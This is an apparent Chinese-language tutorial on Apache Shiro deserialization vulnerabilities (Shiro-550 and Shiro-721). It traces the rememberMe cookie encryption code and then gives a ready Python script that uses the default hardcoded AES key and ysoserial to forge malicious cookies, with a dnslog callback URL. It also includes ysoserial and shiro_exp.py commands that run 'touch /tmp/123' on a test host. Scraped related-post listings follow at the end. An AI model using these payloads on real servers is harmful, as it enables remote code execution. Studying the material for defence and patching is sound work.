Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)
Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)
Shiro简介
Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。
Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721
Shiro-550反序列漏洞
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
影响版本
Apache Shiro < 1.2.4
Shiro反序列化的特证:
返回包中会包含rememberMe=deleteMe字段
这种情况大多会发生在登录处,返回包里包含remeberMe=deleteMe字段,这个是在返回包中(Response)
如果返回的数据包中没有remeberMe=deleteMe字段的话,可以在数据包中的Cookie中添加remeberMe=deleteMe字段这样也会在返回包中有这个字段
基础环境
编辑器:IDEA 2020
java版本:jdk1.7.0_80
Server版本 : Tomcat 8.5.56
shiro版本:shiro-root-1.2.4
组件:commons-collections4
漏洞简单介绍利用
- 通过在cookie的rememberMe字段中插入恶意payload,
- 触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。
- shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==
- 由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题
漏洞分析
加密
Shiro≤1.2.4版本默认使用CookieRememberMeManager,而且CookieRememberMeManager类继承了AbstractRememberMeManager
AbstractRememberMeManager这个类调用了rememberSerializedIdentity方法
这个方法使用base64对指定的序列化字节数进行编码,并将Base64编码的字符串设置成cookie值
而这个方法被rememberIdentity方法给调用了。
rememberIdentity方法被onSuccessfulLogin方法给调用,这里找到了onSuccessfulLogin成功登录的方法
当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法,该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了
然后调用了isRememberMe
这个是用来判断用户是否选择了Remember Me选项
如果是TRUE的话就会调用remeberIdentity方法并且传入三个参数。
这个方法进行了一个反序列化,然后返回序列化后的byte数组
看下面的代码,如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。
查看调用,会发现在构造方法里面对该值进行定义。
到了这里后又会调用encrypt方法,对序列化后的数据进行处理。
这里调用了cipherService.encrypt方法并且传入序列化数据,和getEncryptionCipherKey方法。
这里的getEncryptionCipherKey方法是获取秘钥的方法
再次查看调用的时候发现setCipherKey方法在构造方法里面被调用了
查看DEFAULT_CIPHER_KEY_BYTES值后发现里面定义了一串秘钥而且秘钥是定义死的
返回刚刚加密的地方
然后跟近下面圈起来的地方
查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。
iv的值由generateInitializationVector方法生成,进行跟进。
然后再查看getDefaultSecureRandom方法
再次返回generateInitializationVector继续查看,这里会发现new了一个byte数组长度为16
最后得到了ivBytes值进行返回
然后再返回到加密方法的地方查看具体加密的实现
这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。
在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。
然后后面就是进行base64加密后设置为用户的Cookie的rememberMe字段中。
解密
我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt
进行加密,该类中也有对应的解密操作。
调用getRememberedPrincipals
方法,然后调用了convertBytesToPrincipals
方法,然后使用了decrypt方法,然后用加密的方法生成iv值,传入到他的重载方法中,然后就会返回deserialize
方法的返回值,并且传入AES加密后的数据。然后调用readObject方法进行反序列化操作
漏洞攻击
现在已经知道了是因为获取rememberMe值,然后进行解密后再进行反序列化操作。
那么在这里如果拿到了密钥就可以伪造加密流程。
这里找了一个加密脚本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AESdef rememberme(command):# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],stdout=subprocess.PIPE)# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# payload = encode_rememberme('127.0.0.1:12345')# payload = rememberme('calc.exe')payload = rememberme('http://u89cy6.dnslog.cn')with open("./payload.cookie", "w") as fpw:print("rememberMe={}".format(payload.decode()))res = "rememberMe={}".format(payload.decode())fpw.write(res)
获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。
Shiro-721
利用条件
知道已经登陆用户的合法cookie且目标服务器含有可利用的攻击链就可以进行漏洞利用。
原理
Apache Shiro RememberMe Cookie默认通过AES-128-CBC
模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击)
,利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.
- AES 是指 “高级加密标准”,是一种对称加密的分组加密算法,128是指密钥长度,CBC是指 “密码分组链接” 加密模式 , PKCS5Padding 是 Apache Shiro 中默认填充方式 , 最后一个明文分组缺少 N 个字节,则填充N个0x0N。
- 在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式,CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文。
- Padding Oracle Attack 利用前提 :
1、攻击者能够获得密文( CipherText )与附带在密文前面的初始化向量( IV )
2、服务端对密文解密后会判断 Padding 是否有效 . 并根据不同的判定结果返回不同的响应信息。 - CBC Byte-Flipping Attack 利用前提 :
1、明文和密文已知
用通俗易懂的话来说就是
shiro721用到的加密方式是AES-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的。而cookie解析过程跟cookie的解析过程一样,也就意味着如果能伪造恶意的rememberMe字段的值且目标含有可利用的攻击链的话,还是能够进行RCE的。
影响版本
1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1
漏洞复现
先使用合法账号进行登录勾选remember Me然后使用bp抓包
然后获取到cookie
此处注意删除JSESSIONID,否则后续无法利用
将其中的remember Me字段复制下来输入到工具中进行利用:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.classpython shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class
最后会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。
Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)相关推荐
- Shiro反序列化漏洞利用笔记
Shiro反序列化漏洞利用笔记 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Sec ...
- 【反序列化漏洞-02】PHP反序列化漏洞实验详解
为什么要序列化 百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式(字符串)的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区(非关系型键值对形式的数据库Redis, ...
- Drupal 7.31SQL注入getshell漏洞利用详解及EXP
0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...
- 经典的Shiro反序列化漏洞分析
更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...
- 实战渗透-Shiro反序列化漏洞实例
0x01.前言 这是一次授权的渗透测试,技术含量不高,但我始终相信,每一次的积累,都是为了成就更好的自己,所以过程简洁,记录下每个知识点.对渗透而言,我更喜欢实战的体验感,那种喜悦和知识的获取感,永远 ...
- 4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战
Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞.尽管该漏洞已经曝光几年,但是在实战中仍然比较实用.花了点 ...
- shiro反序列化漏洞的原理和复现
一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...
- shiro反序列化漏洞学习(工具+原理+复现)
工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...
- 【漏洞复现】Apache Shiro 反序列化漏洞
Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...
最新文章
- 链表问题5——反转部分单向链表
- ipp 实现图像空间的转换
- Postman工具之参数化
- mysql换成oracle_mysql数据库迁移至Oracle数据库
- vue + element-ui 聊天_推荐6款Vue管理后台框架,收藏好,留备用
- 微软Edge扩展工具箱旨在将Chrome扩展带至Edge
- HTTP方法:幂等性和安全性
- mysql.sock问题
- 怎么判断两颗二叉树相等
- 比特币余额大于1BTC的地址数量较二月下降5048个
- centos django mysql安装
- android fastboot驱动,fastboot驱动
- matlab最优化工具箱下载,matlab emd工具箱下载
- android StageFright框架解读
- 前端面试谈:项目经历的 STAR 法则
- 如何判断一个数是否是质数(C语言)-超详细
- java颜色识别_Java颜色检测
- 记一次拆机除尘换硅脂的经历,第一次拆机幸好没拆坏,心真大-_-!
- arcgis 实验教程--ModelBuilder与空间建模
- 有时候qq邮箱不显示图片
热门文章
- 软件测试管理经验谈 (转)
- 一文入门西门子MindSphere IOT平台
- 弘辽科技:淘宝人气新品是什么意思?人气新品权重包含哪些?
- 电脑网络看不到其它计算机,Win10局域网看不到共享计算机和打印机的解决方法...
- MEMS陀螺仪抗震动研究
- 程序员 35 岁以后就真的要返乡种田了么?如果家里没田怎么办?
- opencv加法和和numpy加法的比较-04
- mysql5.7.21 安装步骤和错误解决
- 【mktime】mktime函数使用
- 迅雷下载出错.候选文件均为24.4 MB (25,642,153 字节)